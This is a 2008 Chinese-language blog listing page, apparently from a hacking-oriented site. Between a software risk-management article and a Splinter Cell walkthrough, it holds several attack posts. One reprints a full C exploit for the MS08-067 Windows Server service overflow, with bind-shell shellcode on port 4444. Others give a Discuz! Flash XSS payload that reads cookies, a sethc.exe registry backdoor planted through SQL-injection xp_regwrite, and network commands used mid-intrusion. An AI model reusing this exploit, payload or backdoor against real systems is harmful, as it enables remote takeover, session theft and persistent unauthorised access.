MS08-067漏洞的触发条件

2008年10月29日 没有评论 139 views

  通常在溢出成功后目标主机的监听端口为4444,其对应的PID为840(随机)。毫无疑问它应该和某个系统服务相对应,输入tasklist /svc后发现其对于的进程是svchost.exe。该进程在系统中有多个,但PID为840的这个svchost.exe进程是一个宿主进程,其中包含了诸如lanmanserver, lanmanworkstation, Netman等多个系统服务。

那到底是哪个系统服务触发了该漏洞呢?测试,当Computer Browser、Server、Workstation这三个系统服务中的任何一个服务被关闭后,用MS08067.exe进行溢出测试均失败

通过上面的测试,可见是这三个系统服务造成了MS08-067漏洞,这和微软的漏洞说明“Server服务在处理RPC请求过程中存在的一个严重漏洞”不谋而合。那么这三个服务都是干什么的,相互之间有什么关系呢?server是Windows系统的一个重要服务,其主要作用是“支持此计算机通过网络的文件、打印、和命名”。

  而Computer Browser服务的作用是“维护网络上计算机的更新列表,并将列表提供该计算机指定浏览”与server是依存关系。另外,Workstation服务的作用是“创建和维护到远程服务的客户端网络连接”,与Computer Browser是依存关系。上面的分析为我们预防MS08-067漏洞提供了一条思路。

 漏洞预防

  (1)、最彻底的措施是,通过第三方工具下载KB958644补丁包打上该漏洞补丁。

  (2)、如果用户对微软的补丁存有戒心可以采取变通的措施,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。

 

分类: 技术文章 标签:

软件开发项目的风险管理

2008年10月29日 没有评论 51 views

来源:IT 风险管理论坛

众所周知,软件开发过程可分为:需求分析、设计、编码、测试、安装及维护等几个过程(在RUP方法中:业务建模、需求、分析设计、实施、测试、部署),实际上一个完整的软件项目前后还有其它过程,在这里列出的只是和软件开发相关的核心过程。 软件项目的生命周期可以分为四个阶段(不同行业的项目生命周期不同),即初始阶段、设计阶段、实施阶段、收尾阶段。软件开发过程在软件项目的这四个阶段中的分布情况如下(括弧里面表示RUP方法中的过程):

  初始阶段:大部分需求分析,少部分设计(大部分业务建模和需求,少部分分析设计)
  设计阶段:大部分设计,少部分编码(大部分分析设计,部分实施及测试,开始考虑部署)
  实施阶段:大部分编码和测试,少部分设计(大部分实施及测试,部分部署)
  收尾阶段:安装及维护(大部分部署)

  而项目管理则贯穿在整个生命周期的每个阶段。
  根据PMBOK,项目管理可以从范围管理、时间管理、费用管理、质量管理、人力资源管理、沟通管理、风险管理、采购管理和整体管理等9个方面考虑,对于软件项目管理来讲软件配置管理(属于整体管理)、软件质量管理、软件风险管理及开发人员管理(属于人力资源管理)等四个方面的管理尤为重要,软件开发的每个阶段、每个过程都要重视这几方面的管理。
  下面就以软件项目的风险管理为主题展开讨论。
  软件项目管理的四个阶段中,在初始阶段项目成功的可能性最小,风险发生的概率也就最高,但是这时候一旦预计的风险发生了,损失是最小的,比如:在这个阶段如果某种原因突然资金来源断了(这在需求阶段是很有可能的),以至于不能继续进行项目,不得不终止项目,那么这时候的损失只是需求分析阶段的投入。随着项目的进展项目成功的可能性变大,风险发生的概率逐渐变小,风险对项目的损失逐渐变大,快到收尾阶段的时候风险对项目的损失最大,随着收尾阶段的进行风险又逐渐变小。
  风险管理是对项目风险进行识别、分析和应对的过程。我们先看看项目风险可以怎么分类,然后再对风险管理的这三个过程逐一进行讨论。

  1.风险的分类
  按内容分
  范围风险:与范围变更有关的风险
  质量风险:没有按照要求的技术性能和质量水平完成任务
  进度风险:没有在预算的时间范围内完成任务
  成本风险:没有在预算的成本范围内完成任务
  技术风险:技术变化
  法律风险:许可权、专利、合同失效、诉讼、不可抗力
  外部可预测风险:市场风险(原材料可利用性、需求)、日常运作(维修需求)、环境影响、社会影响、货币变动、通货膨胀、税收
  外部可预测风险:规章(不可预测的政府干预)、自然灾害
  内部非技术风险:战略风险(公司的经营战略发生了变化)、管理风险(公司管理人员是否成熟等)

  未知-未知风险(Unknown-unknowns):不可预知风险
  2.风险识别
  风险的识别就是确定何种风险事件可能影响项目。在项目开始、每个项目阶段中间、主要范围变更批准之前都要进行风险识别,实际上它在整个项目生命周期内都是一个连续的过程。
  要识别风险,首先我们应该了解在软件开发的各个阶段都有可能发生哪些风险(风险事件或风险来源)。
  初始阶段
  在这个阶段进行大部分需求分析、少部分设计(大部分业务建模和需求、少部分分析设计)。
  可能的风险事件:
  1、 项目目标不清
  2、 项目范围不明确(范围太大太小都不可以)
  3、 用户参与少或和用户沟通少
  4、 对业务了解不够
  5、 对需求了解不够
  6、 没有进行可行性研究

设计阶段
  在这个阶段进行大部分设计、少部分编码(大部分分析设计,部分实施及测试,开始考虑部署)
  可能的风险事件
  1、 项目队伍缺乏经验,如缺乏有经验的系统分析员
  2、 没有变更控制计划,以至于变更没有依据,该变更的不变,不该变的也变,这样得来的设计势必会失败或者偏离用户需求
  3、 仓促计划,可能带来进度方面的风险
  4、 漏项,由于设计人员的疏忽某个功能没有考虑进去
  实施阶段
  在这个阶段进行大部分编码和测试,也涉及少部分设计(大部分实施及测试,部分部署),如:设计变更或补充设计。
  可能的风险事件
  1、 开发环境没有具备好
  2、 设计错误带来的实施困难
  3、 程序员开发能力差,或程序员对开发工具不熟
  4、 项目范围改变(突然要增加或修改一些功能,需要重新考虑设计)
  5、 项目进度改变(要求提前完成任务等)
  6、 人员离开,在一个项目内软件开发工作有一定的连续性,需要移交和交接,有时人员离开对项目的影响会很大

  7、 开发团队内部沟通不够,导致程序员对系统设计的理解上有偏差
  8、 没有有效的备份方案
  9、 没有切实可行的测试计划
  10、 测试人员经验不足
  收尾阶段
  在这个阶段进行安装及维护(大部分部署)。
  可能的风险事件
  1、 质量差
  2、 客户不满意
  3、 设备没有按时到货
  4、 资金不能回收
  以上只是例具了常见的风险事件,对不同项目可能发生的风险事件不同,应该对具体项目识别出真正有可能发生在该项目的风险事件。而且还要对这些风险事件进行描述,如:可能性、可能后果范围、预计发生时间、发生频率等。
  风险识别的有效方法有很多,如:建立风险项目检查表、因果分析图、采访各种项目干系人等。
  软件项目的风险可以从以下几方面检查:
  产品规模风险
  业务影响风险检
  与客户相关的风险
  过程风险
  技术风险
  开发环境风险
  与人员的模式和经验有关的风险
  以上我们讨论了在软件项目各个阶段中可能发生的风险事件和识别方法。下面我们看看如何对这些风险事件进行分析。

 3.风险分析
  风险分析就是对以上识别出来的风险事件做风险影响分析。
  和风险相关的有四个因素:
  风险事件,破坏或影响项目的事件
  风险概率(%),事件发生的可能性
  风险得失量(金额),说明可能造成的损失
  风险影响(金额),等于 风险概率 × 风险得失量
  通过对风险及风险的相互作用的估算来评价项目可能结果的范围,从成本、进度及性能三个方面对风险进行评价,确定哪些风险事件或来源可以避免,哪些可以忽略不考虑(包括可以承受),哪些要采取应对措施。

  4.风险应对
  1

分类: 技术文章 标签:

MS08-067 Remote Stack Overflow Vulnerability Exploit

2008年10月29日 没有评论 476 views

Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-10-28

#include "stdafx.h"
#include
#include
#include
#include

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
#pragma comment(lib, "ws2_32")

struct RPCBIND
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
WORD MaxXmitFrag;
WORD MaxRecvFrag;
DWORD AssocGroup;
BYTE NumCtxItems;
WORD ContextID;
WORD NumTransItems;
GUID InterfaceUUID;
WORD InterfaceVerMaj;
WORD InterfaceVerMin;
GUID TransferSyntax;
DWORD SyntaxVer;
};

struct RPCFUNC
{
BYTE VerMaj;
BYTE VerMin;
BYTE PacketType;
BYTE PacketFlags;
DWORD DataRep;
WORD FragLength;
WORD AuthLength;
DWORD CallID;
DWORD AllocHint;
WORD ContextID;
WORD Opnum;
};

BYTE PRPC[0x48] = {
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0xD9,0x2E,0xF5,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

BYTE EXPLOIT[] =
"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x94\x00"
"\x00\x00\x00\x00\x1f\x00"
"\x00\x00\x00\x00"
"\x2F\x00\x00\x00\x00\x00\x00\x00\x2F\x00\x00\x00"

"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x41\x41"

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"

"\x12\x45\xfa\x7f" // jmp esp
"\x90\x8B\xF4\x81"
"\x3E\x90\x90\x90\x90\x74\x04\x4E\x4E\xEB\xF4\x33\xC9\x33\xDB\xB1"
"\x01\xC1\xE1\x09\x8B\xFC\x4B\xC1\xE3\x0D\x23\xFB\x57\xF3\xA4\x5F"
// "\xB1\x01\xC1\xE1\x09\x2B\xE1\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x83\xEC\x70\x90\x90\x90\x90\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00";

BYTE POP[] =//stub header RPCFUNC structure
"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xE4\x01\x00\x00\x01\x00\x00\x00\xD4\x01"
"\x00\x00\x00\x00\x1f\x00"
"\x00\x00\x00\x00"
"\xCF\x00\x00\x00\x00\x00\x00\x00\xCF\x00\x00\x00"

"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xCC\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00";

unsigned char bind_shellcode[] =
// "\xCC"
// "\x83\xEC\x40" // sub esp, 0x70
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad"
"\x07\xe6\x4a\x83\xeb\xfc\xe2\xf4\x51\x6d\x0d\x07\x45\xfe\x19\xb5"
"\x52\x67\x6d\x26\x89\x23\x6d\x0f\x91\x8c\x9a\x4f\xd5\x06\x09\xc1"
"\xe2\x1f\x6d\x15\x8d\x06\x0d\x03\x26\x33\x6d\x4b\x43\x36\x26\xd3"
"\x01\x83\x26\x3e\xaa\xc6\x2c\x47\xac\xc5\x0d\xbe\x96\x53\xc2\x62"
"\xd8\xe2\x6d\x15\x89\x06\x0d\x2c\x26\x0b\xad\xc1\xf2\x1b\xe7\xa1"
"\xae\x2b\x6d\xc3\xc1\x23\xfa\x2b\x6e\x36\x3d\x2e\x26\x44\xd6\xc1"
"\xed\x0b\x6d\x3a\xb1\xaa\x6d\x0a\xa5\x59\x8e\xc4\xe3\x09\x0a\x1a"
"\x52\xd1\x80\x19\xcb\x6f\xd5\x78\xc5\x70\x95\x78\xf2\x53\x19\x9a"
"\xc5\xcc\x0b\xb6\x96\x57\x19\x9c\xf2\x8e\x03\x2c\x2c\xea\xee\x48"
"\xf8\x6d\xe4\xb5\x7d\x6f\x3f\x43\x58\xaa\xb1\xb5\x7b\x54\xb5\x19"
"\xfe\x54\xa5\x19\xee\x54\x19\x9a\xcb\x6f\xf7\x16\xcb\x54\x6f\xab"
"\x38\x6f\x42\x50\xdd\xc0\xb1\xb5\x7b\x6d\xf6\x1b\xf8\xf8\x36\x22"
"\x09\xaa\xc8\xa3\xfa\xf8\x30\x19\xf8\xf8\x36\x22\x48\x4e\x60\x03"
"\xfa\xf8\x30\x1a\xf9\x53\xb3\xb5\x7d\x94\x8e\xad\xd4\xc1\x9f\x1d"
"\x52\xd1\xb3\xb5\x7d\x61\x8c\x2e\xcb\x6f\x85\x27\x24\xe2\x8c\x1a"
"\xf4\x2e\x2a\xc3\x4a\x6d\xa2\xc3\x4f\x36\x26\xb9\x07\xf9\xa4\x67"
"\x53\x45\xca\xd9\x20\x7d\xde\xe1\x06\xac\x8e\x38\x53\xb4\xf0\xb5"
"\xd8\x43\x19\x9c\xf6\x50\xb4\x1b\xfc\x56\x8c\x4b\xfc\x56\xb3\x1b"
"\x52\xd7\x8e\xe7\x74\x02\x28\x19\x52\xd1\x8c\xb5\x52\x30\x19\x9a"
"\x26\x50\x1a\xc9\x69\x63\x19\x9c\xff\xf8\x36\x22\x42\xc9\x06\x2a"
"\xfe\xf8\x30\xb5\x7d\x07\xe6\x4a";

int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer)
{
BYTE rbuf[0x1000]="";
DWORD dw=0;
struct RPCBIND RPCBind;

memcpy(&RPCBind,&PRPC,sizeof(RPCBind));
UuidFromString((unsigned char *)Interface,&RPCBind.InterfaceUUID);
UuidToString(&RPCBind.InterfaceUUID,(unsigned char **)&Interface);
RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]);
RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]);
TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,sizeof(rbuf), &dw, NULL);

return 0;
}

int main(int argc, char* argv[])
{
char *server;
NETRESOURCE nr;
char unc[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
WSADATA wsa;

int bwritten=0;
BYTE rbuf[0x100]="";
DWORD dw;
PVOID ptr = (PVOID)&POP;

printf( "\tMS08-067 Remote Stack Overflow Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/10/27\n" );
printf( "Thanks isno and PolyMeta\n" );
printf( "ShellCode Function: bindshell port:4444\n" );
printf( "usage:\n%s [IP]\n", argv[0] );

if ( argc != 2 ) {

return 0;
}

if ( WSAStartup(MAKEWORD(2,2),&wsa) != 0 ) {

printf( "WSAStartup failed\n" );
return 0;
}

memcpy((char *)ptr + 74, bind_shellcode, sizeof(bind_shellcode)-1);

server=argv[1];
_snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server);
unc[sizeof(unc)-1] = 0;
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = unc;
nr.lpProvider = NULL;

printf( "connect %s ipc$ .... ", server );

if ( WNetAddConnection2(&nr, "", "", 0) != 0 ) {

printf( "failed\n" );
return 0;
} else {

printf( "su
ccess!\n" );
}

_snprintf(szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser",server);
printf( "open \\\\%s\\pipe\\browser ....", server );
hFile = CreateFile( szPipe,
GENERIC_READ|GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING, 0, NULL);
if ( hFile == (HANDLE)-1 ) {

printf( "failed!\n" );
return 0;
} else {

printf( "success!\n" );
}

printf( "Bind Rpc 4b324fc8-1670-01d3-1278-5a47bf6ee188 Interface\n" );
BindRpcInterface(hFile,"4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0");

printf( "Send shellcode ....\n" );
TransactNamedPipe(hFile, (PVOID)&POP, sizeof(POP) - 1, rbuf, sizeof(rbuf), &dw, NULL);

printf( "Send Exploit ...... \n" );
TransactNamedPipe(hFile, (PVOID)&EXPLOIT, sizeof(EXPLOIT) - 1, rbuf, sizeof(rbuf), &dw, NULL);

CloseHandle( hFile );

return 0;
}WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/

分类: 矩阵毒刺 标签:

ICESWORD各版本驱动通讯解密代码

2008年10月29日 没有评论 64 views

作者:MJ0011

icesword同驱动通讯时会将input buffer加密,下面是各版本的解密代码:

包括1.2, 1.18 , 1.2版本的中英文版本

unsigned char is_ddata_en[32] = {
0x10, 0x4F, 0xAC, 0x2D, 0x94, 0x97, 0x95, 0xEE, 0x93, 0x25, 0x8A, 0xB6, 0xD6, 0xBE, 0x49, 0x4D,
0x3F, 0x94, 0x1A, 0x91, 0x30, 0xC4, 0x7B, 0x08, 0x59, 0x38, 0x7C, 0x3B, 0x52, 0x40, 0xD2, 0xD2
};

unsigned char is_ddata_cn[32] = {
0x7D, 0x83, 0xBE, 0x27, 0x94, 0x97, 0x95, 0xFE, 0x9C, 0x25, 0x8A, 0xB6, 0xD6, 0xBE, 0x49, 0xA3,
0x3F, 0x94, 0x1A, 0x91, 0x30, 0xC4, 0x7B, 0xC8, 0x59, 0x38, 0x7C, 0x3B, 0x52, 0x05, 0xD2, 0xD2
};

unsigned char is120_en_ddata[32] = {
0x58, 0x4F, 0x8C, 0x2D, 0x94, 0x97, 0xC5, 0xEE, 0xFF, 0x25, 0x8A, 0xB6, 0xD6, 0xBF, 0x49, 0xF3,
0x3F, 0x94, 0x1A, 0x91, 0xEF, 0xB4, 0x4C, 0x08, 0x59, 0x30, 0x62, 0x3B, 0x52, 0x40, 0x8F, 0xD2
};

unsigned char is118_cn_ddata[32] = {
0x72, 0x14, 0x8C, 0xFA, 0x94, 0x32, 0xE4, 0xFF, 0x25, 0xD3, 0xEF, 0x13, 0x29, 0xBF, 0x49, 0x15,
0xB4, 0x94, 0xA4, 0x23, 0xEF, 0x04, 0xA3, 0x98, 0x95, 0x30, 0x62, 0x00, 0x37, 0x40, 0x8F, 0xFE
};

void decoder120_is_data_en(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is120_en_ddata[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder118_is_data_cn(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is118_cn_ddata[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder_is_data_en(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is_ddata_en[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

void decoder_is_data_cn(PVOID buf , ULONG len)
{
__asm
{
xor ecx, ecx
cmp len, ecx
jbe short locret_118DE

loc_118C4:
mov eax, buf
mov edx, ecx
and edx, 1Fh
add eax, ecx
mov dl, byte ptr is_ddata_cn[edx]
xor [eax], dl
inc ecx
cmp ecx, len
jb short loc_118C4
locret_118DE:

}
return ;
}

分类: 技术文章 标签:

3389新思路

2008年10月29日 没有评论 130 views

1.能修改注册表
2.能访问3389

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','';--REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d "c:\windows\system32\cmd.exe" on /fWindows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethcasd.exe]
"debugger"="c:\\windows\\system32\\cmd.exe on"regedit

/s 导入 .reg 文件进注册表(安静模式)

/e 导出注册表文件

例:regedit /e filename.reg HKEY_LOCAL_MACHINE//SYSTEM

magnify.exe

osk.exe

sethc.exe

分类: 技术文章 标签:

CMD下设置网关

2008年10月29日 没有评论 56 views

上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯

FOR /L %I in (1,1,255) DO PING 192.168.1.%I -n 1 -w 100 >> c:\ping.txt

然后查看ping.txt的结果,一台一台测试过去
for /l %p in (1,1,254) do @ping 192.168.1.%p -n 1 |find "reply from" /i  >>c:\ping.txt

上面这条命令可以把能ping通的机器单独整理出来
修改网关的命令如下:
cmd /c netsh interface ip set address name=" 本地连 接" source=static addr=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1 gwmetric=1

修改DNS
cmd /c netsh interface ip set dns name="本地连接" source=static addr=61.134.1.9

分类: 技术文章 标签: ,

MS08-067 Exploit for CN 2k/xp/2003 .net version

2008年10月29日 没有评论 187 views

作者:cnqing

来源于EMM's Exp,以socket方式重放攻击。
本机可为任意平台,从这个角度讲成功率稍高于EMM'S exp。
原版不成功时,可以试试这个。

src&exe http://www.cncert.net/up_files/soft/ms08067.net.rar

分类: 资源共享 标签: ,

Discuz! [flash] xss bug

2008年10月29日 没有评论 55 views

一 分析
其实该漏洞在2007年就公布过了[1],但是经过80vul-A测试改漏洞一直没有被修补。该漏洞的分析主要点如下:

第一:Discuz!把allowScriptAccess设置为sameDomain:<param name="allowScriptAccess" value="sameDomain">我们只需要把swf文件上传到目标上就可以使用[flash]调用我们构造的swf了。

第二:由于html调用flash是不限制后缀的,所以攻击者可以用图片文件的后缀如gif通过论坛的上传功能上传,上传功能只是使用了getimagesize()来判断,但是swf一样可以通过该函数。

二 利用

flash的原文件:http://www.80vul.com/dzvul/sodb/01/sodb-2008-01.fla

as代码如下:getURL("javascript:alert(document.cookie)", "_self", "GET");

三 补丁

1.等待官方补丁
2.可以暂时关闭flash标签.

四 参考

[1]:http://superhei.blogbus.com/logs/11792433.html

分类: 技术文章 标签:

《分裂细胞3:混论理论》修改文件

2008年10月28日 没有评论 65 views
说明
覆盖存档文件夹里的DEFAULT.dat DEFAULT.ini  存档位置C:\Documents and Settings\All Users\Application Data\Ubisoft
注意.覆盖后控制设定全部是默认设置..
还有可能显示设定.也成默认设置.必须重新设置一下键为不要设置
7=killpawns      没有敌人
8=summon echeloningredient.estickyshocker  给你一个电击弹.
F1=OpsatMenu      菜单
F2=QuickSave  快速存档
F3=QuickLoad   快速读档
F4=Invincible 1  无敌
F5=fly        飞行模式
F6=ghost  穿墙
F7=walk   关闭飞行和穿墙
F8=playersonly   定住敌人
F9=health  满血
F10=ammo  弹药
F11=Invisible 1   隐形开.(没用..很郁闷的说.)
F12=Invisible 0   隐形关(没开怎么关..)
 
下载地址:点击下载
 

 

 

分类: 影音娱乐 标签:

《分裂细胞3:混论理论》攻略(xbox,ps2,pc通用)

2008年10月28日 没有评论 66 views

第01段LightHouse:(打法要多变,观察地形最为主要)

任务开始后位于一个小岛岸边,往前走攀上石壁可以从石壁的缝隙中找到一条隐蔽的路,通过之后会在吊桥处遇到2名巡逻士兵。从吊桥左侧的下坡路线走以便避过士兵,通过梯子上到城堡地牢,此处一名士兵在练习枪法,利用黑暗设法解决(发电机可关可不关)。随后顺路一直往阶梯上方走通过一道门来到一间刑讯室,利用有效的工具或者武力解决守卫士兵后将俘虏救下(好像已经嗝屁了...)。通过一扇上了锁的门,来到一个帐篷前,利用刀割开帐篷进入内部将里面一名守卫干掉,再利用黑暗解决外面的守卫。通过一边的通道前往另一个区域,此处有两名士兵在交谈,当2人分开后,利用黑暗的掩护分别将其干掉,随后通过爬上一个瓦棚,借由瓦棚跳到木板桥上继续前进。来到一间了望室,此处有一名士兵在了望ing...干掉后使用后面的电脑,随后继续前进。通过里面的出口来到城堡的炮台,此处有2名士兵在交谈,利用监控烟雾可以轻松解决。往下走会遇到一名士兵在焊接门板,干掉后继续往下走。在一浮桥处解决一名士兵后,到达灯塔门前利用踢门解决门内侧的守卫后,向灯塔顶楼进发,在塔楼中心位置的补血点旁边的一柜子内可以拿到文件,随后到塔顶解决守卫士兵呼叫总部便可通过此段。

第02段GargoShip:(本段流程可乱序而行)

任务开始后位于一艘轮船上,先解决眼前的3名守卫。到达DECK S-1通过这里的木箱间的隙缝可以找到通路到达S2B。在一间有切割机的房间内解决里面的船员后爬上切割机右上方的排气通道内到达一间机械室,解决里面2名士兵后调查控制台。随后到达DECK S-3一定要用暗杀解决内部的守卫,通过管道爬上阶梯,然后上到最顶层。通过顶层的一个阶梯来到一间档案室,门口有通风口可以绕到另一侧,干掉里面的守卫,调查电脑并找到柜子里的文件。随后往里继续前进路过医疗室的时候记得调查里面的电脑,接着从阶梯上到2层,上去前在阶梯下面的箱子处安装追踪器。进入2层餐厅,解决里面的守卫并在后厨的房间一个箱子上安装追踪器,往里走的一扇门可以通往一处阶梯,通过阶梯可以上到轮船顶层的操舵室,再此之前解决掉这个区域房间内的3名守兵,并在走廊一处箱子前安装追踪器。随后到达操舵室,从操舵室内轮船右舷方向的门出去,解决附近的3名守卫,进入DECK - 5操作里面的电脑,然后到船尾处一处箱子上安装追踪器,接着返回档案室方向下层的一条先前没有去过的路线,到达最里面的一处箱子前安装追踪器。接着返回到开始不久路过的S2C仓库,进入后到上面放着红色小箱子的箱子前调查,最后到达船尾上面放着救生艇的地方便可通过此段。

第03段Bank:(破解密码不一定要靠实力,运气也很重要。)

任务开始后位于一个大宅子的花园中,先解决园中的3名守卫然后不要进楼,从小路绕到楼后面的梯子处,通过梯子到楼顶的一间房间内打开楼顶天盖的开关,随后通过打开了的盖子进入大楼内部。随后利用打爆物体来吸引守卫关掉激光进来,干掉守卫后往内部前进。左侧的门先不要进入,先从右侧的电子门进入,途中要多注意墙上的监视器,要用电子干扰解决。将内部可到之处的敌人都解决掉,可调查的电脑和特殊开关都调查完后再从先前左侧的门进入。利用电子干扰解决监视器后,引出一名守卫,将其解决后再破解监控台的大门密码,随后进入内部解决另一名守卫,并调查电脑,随后通过此处往大楼内部前进。来到2楼会遇到一名守卫,不要急于干掉他,跟在他的后面走可以躲过激光的扫描(或者抱着他的尸体...),通过激光后再将其干掉,里面的另一个守卫也用这个办法对付。随后来到一个玻璃建造的办公室边,小心墙上的监视器,利用烟雾解决掉2个正在里面办公的守卫,然后调查电脑并关闭监视器总开关。通过前面的一个密码门到最里面调查电脑和一个控制开关,然后从阳台那里跳下去,通过之前从右侧门通过时一处监控间旁边无法进入的门。先来到一间储物室调查储物柜拿取东西,然后再往下走。来到保险库,分别在2处钥匙空安装破锁道具,然后进行撬锁画面,每次当3盏灯变成绿色时才可以开启一个方向的锁尺,否则会再重新输入一遍。当输入完毕后到金库门前安装电子炸弹,后退几步后引爆便可以进入内部调查电脑,接着拿到玻璃柜内的物品从天盖那条路线撤离到开始地点便可通过此段。

第04段PentHouse:

